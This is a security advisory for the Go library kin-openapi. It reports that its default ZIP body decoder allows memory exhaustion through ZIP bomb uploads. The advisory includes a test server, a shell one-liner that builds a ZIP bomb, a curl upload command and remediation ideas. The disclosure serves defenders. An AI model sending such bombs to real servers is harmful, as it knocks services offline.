GHSA-wq9g-9vfc-cfq9

Summary

When validating a request with a multipart/form-data schema, if the OpenAPI schema allows it, an attacker can upload a crafted ZIP file (e.g., a ZIP bomb), causing the server to consume all available system memory.

Details

The root cause comes from the ZipFileBodyDecoder, which is registered automatically by the module (contrary to what the documentation says.

PoC

To reproduce the vulnerability, you can use the following OpenAPI schema:

openapi: 3.0.0
info:
  title: 'Validator'
  version: 0.0.1
paths:
  /:
    post:
      requestBody:
        required: true
        content:
          multipart/form-data:
            schema:
              type: object
              required:
                - file
              properties:
                file:
                  type: string
                  format: binary
      responses:
        '200':
          description: Created

And this code to validate the request (nothing fancy, it basically only calls the openapi3filter.ValidateRequest function`):

package main

import (
	"fmt"
	"log"
	"net/http"

	"github.com/getkin/kin-openapi/openapi3filter"
	legacyrouter "github.com/getkin/kin-openapi/routers/legacy"

	"github.com/getkin/kin-openapi/openapi3"
)

func handler(w http.ResponseWriter, r *http.Request) {
	loader := openapi3.NewLoader()

	doc, err := loader.LoadFromFile("schema.yaml")
	if err != nil {
		http.Error(w, "Failed to load OpenAPI document", http.StatusInternalServerError)
		return
	}

	if err := doc.Validate(r.Context()); err != nil {
		http.Error(w, "Invalid OpenAPI document", http.StatusBadRequest)
		return
	}

	router, err := legacyrouter.NewRouter(doc)
	if err != nil {
		http.Error(w, "Failed to create router", http.StatusInternalServerError)
		return
	}

	route, pathParams, err := router.FindRoute(r)
	if err != nil {
		http.Error(w, "Failed to find route", http.StatusNotFound)
		return
	}

	input := &openapi3filter.RequestValidationInput{
		Request:     r,
		QueryParams: r.URL.Query(),
		Route:       route,
		PathParams:  pathParams,
	}

	if err := openapi3filter.ValidateRequest(r.Context(), input); err != nil {
		http.Error(w, fmt.Sprintf("Request validation failed: %v", err), http.StatusBadRequest)
		return
	}

	w.Write([]byte("request ok !"))
}

func main() {
	http.HandleFunc("/", handler)
	log.Fatal(http.ListenAndServe(":8080", nil))

}

We also need to create a zip bomb. This command will create a 4.7GB file and compress it to to 4.7MB zip archive:

perl -e 'print "0" x 5000000000' > /tmp/bigfile.txt; zip -9 /tmp/bomb.zip /tmp/bigfile.txt

Run the PoC provided, and upload the zip bomb with curl localhost:8080/ -F file="@/tmp/bomb.zip;type=application/zip" -v.

Observe the memory consumption of the test server during and after the upload (it jumped to a bit over 22GB in my testing, with only a 4.7MB input file, you can reduce the size of the generated file to not kill your test machine when reproducing.)

Impact

An attacker can trigger an out-of-memory (OOM) condition, leading to server crashes or degraded performance. It seems to only be exploitable if the OpenAPI schema allows for multipart upload.

Remediation

I see at least 2 potential fixes/improvements:

• Do not register by default the zip file decoder (I honestly was a bit surprised to see it was enabled by default, it seems to be quite a niche use-case ?)
• Update ZipFileBodyDecoder to enforce a maximum size of the decompressed archive and bailout as soon as it's reached (probably with a small default value and allow the users to configure it through the input options ?)